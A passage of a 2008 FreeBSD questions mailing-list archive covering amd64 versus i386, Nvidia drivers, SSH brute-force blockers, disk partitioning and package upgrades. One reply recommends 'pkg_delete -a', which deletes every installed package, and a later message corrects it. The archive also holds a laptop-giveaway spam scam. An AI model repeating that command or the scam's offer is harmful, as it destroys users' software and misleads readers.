0.372) > >> >> / Ebbe >> >> 2008/12/2 Pieter Donche >> >> If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors >>> Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what >>> distribution of FreeBSD 7.0 applies: i386 or ia64 ? >>> >>> Why are the ISO's so different in size between i386 and ia64 (i386: >>> disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) >>> _______________________________________________ >>> freebsd-questions@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>> To unsubscribe, send any mail to " >>> freebsd-questions-unsubscribe@freebsd.org" >>> >>> >> From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 04:58:57 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 04:59:05 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: Message-ID: <20081202135820.P15274@wojtek.tensor.gdynia.pl> > If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors > Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what > distribution of FreeBSD 7.0 applies: i386 or ia64 ? > > Why are the ISO's so different in size between i386 and ia64 (i386: > disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) ia64 is itanium. you need amd64. From glarkin at FreeBSD.org Tue Dec 2 05:25:26 2008 From: glarkin at FreeBSD.org (Greg Larkin) Date: Tue Dec 2 05:25:33 2008 Subject: sshit runs out of semaphores In-Reply-To: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> References: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> Message-ID: <49353742.9050400@FreeBSD.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 DA Forsyth wrote: > Hiya > > I recently started (trying) to use sshit to filter the many brute > force sshd attacks. > > However, it has never worked on my box. FreeBSD 7.0 p1. > > This morning it would only give a message (without exiting) > Could not create semaphore set: No space left on device > at /usr/local/sbin/sshit line 322 > Every time it gets stopped by CTRL-C it leaves the shared memory > behind, allocated. > > I am going to reboot later and double the number of semaphores (in > loader.conf). > I am running hobbit which uses 8, leaving only 2 free. This may > solve this issue, but I'd appreciate any ideas and experienced > advice. > > A side issue is that sshit will only filter rapid fire attacks, but I > am also seeing 'slow fire' attacks, where an IP is repeated every 2 > or 3 hours, but there seem to be a network of attackers because the > name sequence is kept up across many incoming IP's. Is there any > script for countering these attacks? > If not I'll write one I think. > > > -- > DA Fo rsyth Network Supervisor > Principal Technical Officer -- Institute for Water Research > http://www.ru.ac.za/institutes/iwr/ Hi DA, I previously used sshit to defend against SSH brute-force attacks but never saw the semaphore problem that you reported. However, I recently switched to sshguard for other reasons, and it has worked well for defending against both high-speed and slow-speed attacks. You can get more information here: http://sshguard.sourceforge.net/ http://www.freshports.org/security/sshguard-ipfw/ Hope that helps, Greg - -- Greg Larkin http://www.FreeBSD.org/ - The Power To Serve http://www.sourcehosting.net/ - Ready. Set. Code. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJNTdC0sRouByUApARAt/uAKCkRzJ7f67aKhBxQNRrI9gI7eRu3QCeL+tA 2hG4DfmVSHFgOO+GvUiNniM= =oAa+ -----END PGP SIGNATURE----- From wmoran at potentialtech.com Tue Dec 2 05:54:32 2008 From: wmoran at potentialtech.com (Bill Moran) Date: Tue Dec 2 05:54:38 2008 Subject: sshit runs out of semaphores In-Reply-To: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> References: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> Message-ID: <20081202085427.ed5634d0.wmoran@potentialtech.com> In response to "DA Forsyth" : > Hiya > > I recently started (trying) to use sshit to filter the many brute > force sshd attacks. > > However, it has never worked on my box. FreeBSD 7.0 p1. > > This morning it would only give a message (without exiting) > Could not create semaphore set: No space left on device > at /usr/local/sbin/sshit line 322 > Every time it gets stopped by CTRL-C it leaves the shared memory > behind, allocated. Have a look at ipcs and ipcrm, which will save you the reboots. > A side issue is that sshit will only filter rapid fire attacks, but I > am also seeing 'slow fire' attacks, where an IP is repeated every 2 > or 3 hours, but there seem to be a network of attackers because the > name sequence is kept up across many incoming IP's. Is there any > script for countering these attacks? > If not I'll write one I think. My approach: http://www.potentialtech.com/cms/node/16 -- Bill Moran http://www.potentialtech.com From masoom.shaikh at gmail.com Tue Dec 2 05:56:40 2008 From: masoom.shaikh at gmail.com (Masoom Shaikh) Date: Tue Dec 2 05:56:47 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <4934E5DA.6040308@eskk.nu> References: <4934E5DA.6040308@eskk.nu> Message-ID: can try `pkg_delete -a` On Tue, Dec 2, 2008 at 1:08 PM, Leslie Jensen wrote: > Hi > > How would you guys uninstall a meta-port? > > I'm considering a move to kde4 but I want a clean install, so I want to > remove the kde3 meta-port first. > > Thanks > > /Leslie > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From Pieter.Donche at ua.ac.be Tue Dec 2 06:19:48 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Tue Dec 2 06:19:55 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> Message-ID: On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > 2008/12/2 Pieter Donche > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > Hi, > All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > I never googled it before, but 2 sec gave me > http://www.freebsd.org/releases/7.0R/hardware.html#PROC-AMD64 > > So use the amd64 ;) Is the amd64 distribution mature enough, as compared to the i386? Aren't there any problems to be expected to arrive, months after initial install and way in the production usage ?? From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 06:36:01 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 06:36:09 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> Message-ID: <20081202153505.A15540@wojtek.tensor.gdynia.pl> >> So use the amd64 ;) > > Is the amd64 distribution mature enough, as compared to the i386? yes > Aren't there any problems to be expected to arrive, months after > initial install and way in the production usage ?? no. the only reason that people use FreeBSD/i386 on 64-bit processors is that some binary-only drivers are only availaboe for i386. From Pieter.Donche at ua.ac.be Tue Dec 2 06:48:40 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Tue Dec 2 06:52:12 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: <20081202153505.A15540@wojtek.tensor.gdynia.pl> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> Message-ID: On Tue, 2 Dec 2008, Wojciech Puchar wrote: > the only reason that people use FreeBSD/i386 on 64-bit processors is that > some binary-only drivers are only availaboe for i386. what kind of drivers would be missing for the amd64 distribution ??? From ghirai at ghirai.com Tue Dec 2 06:48:57 2008 From: ghirai at ghirai.com (Ghirai) Date: Tue Dec 2 06:52:29 2008 Subject: stand-alone GTK2 wlan config tool? Message-ID: <20081202164854.3445cbcb.ghirai@ghirai.com> Hello list, Are there any stand-alone, GTK2, wlan config apps out there (basic stuff, like viewing available networks, setting wpa key, connecting, etc.)? I'm using xfce, and the wlan plugin thingie can only show the signal strength, assuming i'm already connected. Thanks. -- Regards, Ghirai. From Johan at double-l.nl Tue Dec 2 06:59:34 2008 From: Johan at double-l.nl (Johan Hendriks) Date: Tue Dec 2 06:59:41 2008 Subject: FreeBSD 7.0: which distribution References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl> Message-ID: <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> >> the only reason that people use FreeBSD/i386 on 64-bit processors is that >> some binary-only drivers are only availaboe for i386. >what kind of drivers would be missing for the amd64 distribution ??? Nvidia!!! Regards, Johan Hendriks No virus found in this outgoing message. Checked by AVG - http://www.avg.com Version: 8.0.176 / Virus Database: 270.9.12/1824 - Release Date: 2-12-2008 9:31 From OttK at zzz.ee Tue Dec 2 07:18:00 2008 From: OttK at zzz.ee (=?windows-1250?Q?Ott_K=F6stner?=) Date: Tue Dec 2 07:18:13 2008 Subject: Nvidia (Re: FreeBSD 7.0: which distribution) In-Reply-To: <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> Message-ID: <493551A3.1050505@zzz.ee> Johan Hendriks wrote: > >>> the only reason that people use FreeBSD/i386 on 64-bit processors is that >>> some binary-only drivers are only availaboe for i386. >>> >> what kind of drivers would be missing for the amd64 distribution ??? >> > > Nvidia!!! > > I am one ot these folks, using 32-bit FreeBSD on my desktop, just because of Nvidia drivers. Wanted to ask, maybe somebody here knows, is there any hope to expect 64 bit Nvidia drivers in some reasonable future? What is the problem with Nvidia? Why they do not provide 64 bit drivers? Regards, O.K. -- Testi oma Interneti kiirust / Test Your Internet speed: http://speedtest.zzz.ee/ From unga888 at yahoo.com Tue Dec 2 07:22:38 2008 From: unga888 at yahoo.com (Unga) Date: Tue Dec 2 07:22:45 2008 Subject: FreeBSD cannot power down Message-ID: <706654.84147.qm@web57001.mail.re3.yahoo.com> Hi all After a kernel recompilation on i386 RELENG_7 (not the latest), I cannot power down the machine. kldstat shows acpi.ko is loaded. It used to switch off but now the "shutdown -p now" halts the system with following messages: The operating system has halted. Please press any key to reboot. What else could I check to identify the cause? Appreciate your ideas on this. Kind regards Unga From roberthuff at rcn.com Tue Dec 2 07:29:11 2008 From: roberthuff at rcn.com (Robert Huff) Date: Tue Dec 2 07:29:18 2008 Subject: Nvidia (Re: FreeBSD 7.0: which distribution) In-Reply-To: <493551A3.1050505@zzz.ee> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> <493551A3.1050505@zzz.ee> Message-ID: <18741.21520.946885.224555@jerusalem.litteratus.org> =?windows-1250?Q?Ott_K=F6stner?= writes: > I am one ot these folks, using 32-bit FreeBSD on my desktop, just > because of Nvidia drivers. > > Wanted to ask, maybe somebody here knows, is there any hope to > expect 64 bit Nvidia drivers in some reasonable future? What is > the problem with Nvidia? Why they do not provide 64 bit drivers? For the same reason they don't provide up-to-date i386 drivers. This is a recurring thread; please search the mailing list archives. (Hint: try "Zander nvidia" as a search term.) Robert Huff From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 07:31:55 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 07:32:01 2008 Subject: Nvidia (Re: FreeBSD 7.0: which distribution) In-Reply-To: <493551A3.1050505@zzz.ee> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> <493551A3.1050505@zzz.ee> Message-ID: <20081202163118.E15652@wojtek.tensor.gdynia.pl> > Nvidia drivers. > > Wanted to ask, maybe somebody here knows, is there any hope to expect 64 bit > Nvidia drivers in some reasonable future? What is the problem with Nvidia? > Why they do not provide 64 bit drivers? because there are not enough pressure from clients? (by not buying them) From Johan at double-l.nl Tue Dec 2 07:37:23 2008 From: Johan at double-l.nl (Johan Hendriks) Date: Tue Dec 2 07:37:31 2008 Subject: Nvidia (Re: FreeBSD 7.0: which distribution) References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl><57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local><493551A3.1050505@zzz.ee> <20081202163118.E15652@wojtek.tensor.gdynia.pl> Message-ID: <57200BF94E69E54880C9BB1AF714BBCB5DE325@w2003s01.double-l.local> >> Nvidia drivers. >> >> Wanted to ask, maybe somebody here knows, is there any hope to expect 64 bit >> Nvidia drivers in some reasonable future? What is the problem with Nvidia? >> Why they do not provide 64 bit drivers? >because there are not enough pressure from clients? (by not buying them) They missing some things in the kernel of FreeBSD so it has nothing to do with nvidia not willing it is FreeBSD who lacks support in the kernel for a 64bit NVIDIA driver. But like said before there are numoures threads about this. Regards, Johan Hendriks No virus found in this outgoing message. Checked by AVG - http://www.avg.com Version: 8.0.176 / Virus Database: 270.9.12/1824 - Release Date: 2-12-2008 9:31 From valentin.bud at gmail.com Tue Dec 2 07:40:49 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Tue Dec 2 07:40:56 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> Message-ID: <139b44430812020740w39fa1454j7f5ae68c05cb0e26@mail.gmail.com> On Tue, Dec 2, 2008 at 4:59 PM, Johan Hendriks wrote: > > > >>> the only reason that people use FreeBSD/i386 on 64-bit processors is that >>> some binary-only drivers are only availaboe for i386. > >>what kind of drivers would be missing for the amd64 distribution ??? > > Nvidia!!! No Nvidia on that particular motherboard so the OP is on the safe side. @OP: I have just installed FBSD amd 64 2 weeks ago to benefit of +4 GB of RAM and until now i didn't have any kind of problem in compiling and running applications. My box is a web/mail/vpn/router/samba (yes i know there shouldn't be that many services on the box, but tell my boss that) and all the apps are working like a charm. v > > Regards, > Johan Hendriks > > No virus found in this outgoing message. > Checked by AVG - http://www.avg.com > Version: 8.0.176 / Virus Database: 270.9.12/1824 - Release Date: 2-12-2008 9:31 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 07:43:54 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 07:44:07 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: <139b44430812020740w39fa1454j7f5ae68c05cb0e26@mail.gmail.com> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> <139b44430812020740w39fa1454j7f5ae68c05cb0e26@mail.gmail.com> Message-ID: <20081202164254.H15698@wojtek.tensor.gdynia.pl> > My box is a web/mail/vpn/router/samba (yes i know there shouldn't be > that many services > on the box, but tell my boss that) and all the apps are working like a charm. his money his problem. overspending on hardware it's quite common, instead of paying more employees with the same money. From mail at ozzmosis.com Tue Dec 2 07:45:47 2008 From: mail at ozzmosis.com (andrew clarke) Date: Tue Dec 2 07:45:55 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: References: <4934E5DA.6040308@eskk.nu> Message-ID: <20081202154536.GA2158@ozzmosis.com> On Tue 2008-12-02 19:26:40 UTC+0530, Masoom Shaikh (masoom.shaikh@gmail.com) wrote: > > How would you guys uninstall a meta-port? > > can try `pkg_delete -a` No Masoom, this is wrong advice. pkg_delete(1) manpage: -a, --all Unconditionally delete all currently installed packages. (Assuming you weren't trying to be "funny"....) From dgiles at inputsskilful.com Tue Dec 2 07:46:04 2008 From: dgiles at inputsskilful.com (Laptop Pending) Date: Tue Dec 2 07:46:11 2008 Subject: Sony Vaio laptop notification - freebsd-questions@freebsd.org Message-ID: <56506.286837140.1228219081@inputsskilful.com> Choice of Laptops: MID-PSC&tid; http://inputsskilful.com/k/1056579/1pzsyxyw0:fzomuvpooSCKaw00xwurqQCKdxxrsWCKhzrRCKe0xyv0 ______________________________________________________________ Dear freebsd-questions@freebsd.org, You've been selected by ProductSurveyCenter for the chance to receive the best-selling Laptop of your choice. (Participation required. See below for details.). Choose from these best-selling Laptops: - Sony Vaio™ - Toshiba Tablet™ - HP Pavilion™ - MacBook™ Pro Get started now by confirming your email address below: http://inputsskilful.com/k/1056579/1pzsyxyw0:fzomuvpooSCKaw00xwurqQCKdxxrsWCKhzrRCKe0xyv0 Sincerely, ProductSurveyCenter Team *MID = Member ID To prevent future advertisements from ProductSurveyCenter.com, go to: http://inputsskilful.com/n/?70781:: 123 Click, Inc. | P.O. Box 5225 | Harrisburg, PA 17110 SUMMARY OF PROGRAM REQUIREMENTS. To receive the reward you must: 1) be a U.S. resident at least 18 years of age or older; 2) register with valid information; 3) complete the following reward offers: 2 Silver offers, 2 Gold offers, and 8 Platinum offers (Available reward offers will vary. Some reward offers require a purchase. Credit card offers may require you to activate the card by making a purchase, transferring a balance or taking a cash advance.); 4) refer 2 unique households that also completes the program requirements; and 5) follow the redemption instructions. All program requirements must be completed within 60 days of the date of registration. Please visit our website to read the complete Terms & Conditions. ProductSurveyCenter.com is an independent reward program for consumers and is not affiliated with, sponsored by or endorsed by any of the listed products or retailers. Trademarks, service marks, logos, and/or domain names (including, without limitation, the individual names of products and retailers) are the property of their respective owners. Copyright © 2008 ProductSurveyCenter.com, a 123 Click, Inc. website. All rights reserved. To stop receiving e-mail messages from Providence Digital, Inc, reply to this email. Providence Digital, Inc 211 East Lombard Suite #278 Baltimore, MD 21202 From mail at ozzmosis.com Tue Dec 2 08:08:24 2008 From: mail at ozzmosis.com (andrew clarke) Date: Tue Dec 2 08:09:36 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: References: Message-ID: <20081202160822.GB2158@ozzmosis.com> On Tue 2008-12-02 00:41:58 UTC-0600, Javier Vasquez (jevv.cr@gmail.com) wrote: > I was reading chapter 4 of the handbook, as well as chapters 24 and > 26... If I got it clear, I pretty much might get the base system > updated by using freebsd-update script. Ports collection can get > updated with portsnap, but that doesn't update neither the intalled > ports, nor the installed packages. To upgrade the installed ports, > portmanager or portmaster or portupgrade can be used... However only > portupgrade can be used to upgrade packages, right? > > Now, can something like "portupgrade -a -PP" to upgrade all packages > without building a thing (might be that some don't get updated due to > the lack of binary package yet, and in such case would dependencies be > managed right)? Right. > More into how things work, as ports and pacakages are not part of the > base systems, are they somehow associated to a particular release > (most probably not)? So that pretty much no matter the release, if > packages and ports are kept up to date, they might be the same for all > releases? There are downloadable packages that are regularly built from the latest ports tree. There are different packages available for different releases though (eg. 6.x vs 7.x, i386 vs amd64). The theory goes that you can use i386 packages built for (for example) 6.4 on a 6.3 system. Possibly all the way back to 6.0. If you're relying on prebuilt packages then ideally you should try to keep the base system updated where possible. > I'm asking these questions since I'm evaluating moving to BSD, but I > want to avoid compiling as much as possible since my box is 800MHz > piii celeron with just 32KB of cache and 512MB of ram, and for it > source based distributions have proven to be too much to handle, so my > intention would be to live with binary packages and updates/upgrades > only... Those specs should be fine if you're building "small" software such as Squid, Apache, Samba, etc. I build everything I need (http server + http cache + mail server + spam filter + more) from source using a 1 GHz Pentium III with 256 Mb (using portmaster). Firefox, GNOME or KDE would take a long time with 800 MHz. But I wouldn't really like to run those big apps at only 800 MHz either. There's no reason why you can't install the larger software from packages then just build the smaller stuff from source. With portupgrade -PP you're still going to have to keep your ports tree updated (I use portsnap) so it's not a lot of extra effort to build from source. > Also if remaining under -STABLE, is all this possible? Kind of > understood that openoffice.org can't be installed with "pkg_add -r", > so most probably if living under -STABLE automatic updates for > openoffice.org won't show up... So this kinds of answers one previous > question about the packages been independent from the base system > release, it looks like they aren't... Not too sure what you're asking here, and I've never used -STABLE. Keep in mind though that you can't use freebsd-update if you're using -STABLE (AFAIK). From jerrymc at msu.edu Tue Dec 2 08:13:15 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 08:13:21 2008 Subject: UFS partitioning In-Reply-To: References: <20081202111740.96805018.freebsd@edvax.de> Message-ID: <20081202160804.GC90039@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 11:53:23AM +0100, Pieter Donche wrote: > On Tue, 2 Dec 2008, Polytropon wrote: > > > ad0 |-----------------------------------------------| the whole disk > > ad0s1 \----------------------------------------------/ one slice > >ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > > a b d e f g > > / swap /tmp /var /usr /home mount point > > OK this is clear.. > > >>a / 1Gb, > >>b swap, > >>d /root 20 Gb, (a /root partition is from an example of someone who > >>claims that at boot FreeBSD checks the partions in background except > >>for the / partition, by keeping / as small as possible, the time to > >>boot can be mimimized .. correct? but will /root ever be something > >>big ??) > > > >No no, / refers to "the root partition". One way of setting > >up partitions is just to have one partition (one root parttion) > >and put everything on it, including /tmp, /var, /usr and /home. > > I know / is the "root partition", but /root is the home-directory of > the user root (/etc/passwd: root:*:0:0:Charlie &:/root:/bin/csh). > I doubt this will ever be needed to be large? If its not large > fsck neither will spend much time in it. So I guess it's just safe > not to make this a separate BSD-partiton ? You want to leave the /root directory in the root filesystem (partition eg ad0s1a or ad0a). Otherwise you could end up with your tail in a crack at just the wrong time. And, yes, don't put a lot of stuff in that /root directory. > > >Another philosophy is to create partitions designated to their > >further use, just as I mentioned it above. > > Yes, but it's hard to find out what is best... I'm constantly > swinged between the one (/ including /tmp /var /usr) and the > other (all separate) option ... Depends a lot on how you use the system. Basically, you learn by experience of how that system is being used. That can change over time too and mean you want to shift your structure to something else - especially if you add more disk or start supporting some additional server service, etc. I generally suggest dividing into /, swap, /tmp, /usr, /var, /home in the beginning and then see how things go. Typically /var and /home are the ones that will grow, especially if you have a database which by default lives in /var and/or if you put home directories and web sites in /home which is what I suggest. As for ZFS issues, I don't know because I haven't had a place to play with it yet. Someday I will have a spare machine and extra disks... ////jerry > > >>this leaves 2420 Gb which is more than 2 Tb, so you can't put all > >>that in 1 filesystem h /home, you will need to split that in 2 > >>BSD-paritions, but since you can't have more that 8 BSD-partitions > >>(highest BSD-partition letter is h), you need to give up at least > >>one of d, e, f, g. ... correct or not (then what)? > > > >I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition > >as a whole, but because I don't have sch large disks with UFS > >(I have ZFS for them), I cannot tell. > > Anyone else can tell? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From mail at ozzmosis.com Tue Dec 2 08:14:04 2008 From: mail at ozzmosis.com (andrew clarke) Date: Tue Dec 2 08:14:11 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> References: <200812012304.56334.beech@freebsd.org> <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081202161358.GC2158@ozzmosis.com> On Tue 2008-12-02 09:28:44 UTC+0100, Mel (fbsd.questions@rachie.is-a-geek.net) wrote: > Portupgrade -PP is detrimental for bandwidth. It's not really portupgrade's > fault (well, partially, it shouldn't offer the feature), because it will > quite often download Latest/foo.tbz, unpack it entirely and then say "oops, I > downloaded this useless package which is older or equal to what you have > installed". Yes, this happens. -PP is not ideal for regular updates but it's still useful for when you have a new FreeBSD install with no packages installed, and want to get up and running quickly, grabbing the most recent binaries of all your favourite ports instead of building them all from source. From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 08:22:57 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 08:23:04 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <20081202161358.GC2158@ozzmosis.com> References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> Message-ID: <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 17:13:58 andrew clarke wrote: > On Tue 2008-12-02 09:28:44 UTC+0100, Mel (fbsd.questions@rachie.is-a-geek.net) wrote: > > Portupgrade -PP is detrimental for bandwidth. It's not really > > portupgrade's fault (well, partially, it shouldn't offer the feature), > > because it will quite often download Latest/foo.tbz, unpack it entirely > > and then say "oops, I downloaded this useless package which is older or > > equal to what you have installed". > > Yes, this happens. -PP is not ideal for regular updates but it's > still useful for when you have a new FreeBSD install with no packages > installed, and want to get up and running quickly, grabbing the most > recent binaries of all your favourite ports instead of building them > all from source. That's infinitely slower than pkg_add -r . -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From jerrymc at msu.edu Tue Dec 2 08:26:04 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 08:26:11 2008 Subject: (no subject) In-Reply-To: References: Message-ID: <20081202162108.GD90039@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 10:56:44AM +0100, Pieter Donche wrote: > If one has a system with 7 500Gb SATA disks in a hardware RAID6 > (Areca Raid Controller), then (according to mail J.Chadwick 7 > Nov 2008) they will show up as da (following naming convention > for scsi disks although they are not). > RAID6 will allow about 2,5 Tb for the 'user' (roughly 1 Tb will > be consumed by the parity information of RAID6). > > How will this 2,5 Tb space present itself at the time of initial > install of FreeBSD? > Will this be a single 'disk' ad0 ? .. correct or not (then what)? It will start out looking like a single large disk /dev/da0. > > If FreeBSD is to put on the system as only operating system (Fdisk: > "A = Use Entire disk"), then will the BSD-partitions will show up as > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > Page 427 of the FreeBSD handbook states that due to the use of 32-bit > integers to store the number of sectors is limited to 2^32 -1 > sectors/disk = 2 TB. A layout could be > a / 1Gb, > b swap, > d /root 20 Gb, (a /root partition is from an example of someone who > claims that at boot FreeBSD checks the partions in background except > for the / partition, by keeping / as small as possible, the time to > boot can be mimimized .. correct? but will /root ever be something > big ??) No, it will not. Do not make /root a separate partition/filesystem. Leave it in / > e /tmp 20 Gb, > f /var 20 Gb, > g /usr 20 Gb > this leaves 2420 Gb which is more than 2 Tb, so you can't put all > that in 1 filesystem h /home, you will need to split that in 2 > BSD-paritions, but since you can't have more that 8 BSD-partitions > (highest BSD-partition letter is h), you need to give up at least > one of d, e, f, g. ... correct or not (then what)? If you really need this much disk, there must be a reason. What do you intend to put in it? My suggestion would be to put a lot more in /var because that is where data base utilities default to putting their data. Then you can reduce the amount left over to what would fit in /home. So, a: 1 GB / b: 4 GB swap d: 7 GB /tmp e: 20 GB /usr ports can just be left here then f: 1024 GB /var databases live here g: remainder /home (Approximately 1536 GB) You can shift this around as you need. Maybe 2048 GB /home and 512 GB /var ////jerry > > What is the best scheme of BSD-partitioning in this case? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From perrin at apotheon.com Tue Dec 2 08:28:11 2008 From: perrin at apotheon.com (Chad Perrin) Date: Tue Dec 2 08:28:19 2008 Subject: FreeBSD and hardware?? In-Reply-To: References: <20081121211828.GA9493@kokopelli.hydra> Message-ID: <20081202162808.GA5851@kokopelli.hydra> On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: > On Behalf Of Chad Perrin > > > While I agree that, without some kind of supporting argument, the > > statement that Linux systems are "low end" Unix replacements are kind > of > > spurious sounding, I don't think that market share is really an > effective > > metric for determination of the quality of a replacement for a given > > class of OS. > > I believe that he forgot to reference this article from ServerWatch. > This > shows more than a marginal increase in "market share". It suggests that > Sun and others have good reason to be nervous about their future > prospects, > and need to find new ways to make money. > > Market share is still not an effective metric for determination of the quality of a replacement for a given class of OS. Your statements and the article to which you linked in no way contradict what I said. Even though the article whose URL you provided does talk about Linux suitability for certain tasks traditionally handled by commercial UNIX systems, market share itself is not a very effective metric except, perhaps, by accident -- because growing market share can indicate any of a number of different potential causes. > > On the other hand, both Unix and Linux have a long way to go before they > can match Microsoft's ease of use on the GUI. I believe the best way > to attack that problem is to find a new paradigm to replace the desktop, > which is not a great interface model to begin with. I guess that depends on your definition of "ease of use". In my little world, "ease of use" involves the ease, efficiency, and speed of task completion via an interface with which I'm familiar. It seems from what you said that in your little world "ease of use" means "familiarity", since that's really the major win for MS Windows interfaces, to the majority of its users. -- Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] Quoth Friedrich Nietzche: "Those who know that they are profound strive for clarity. Those who would like to seem profound to the crowd strive for obscurity." -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : 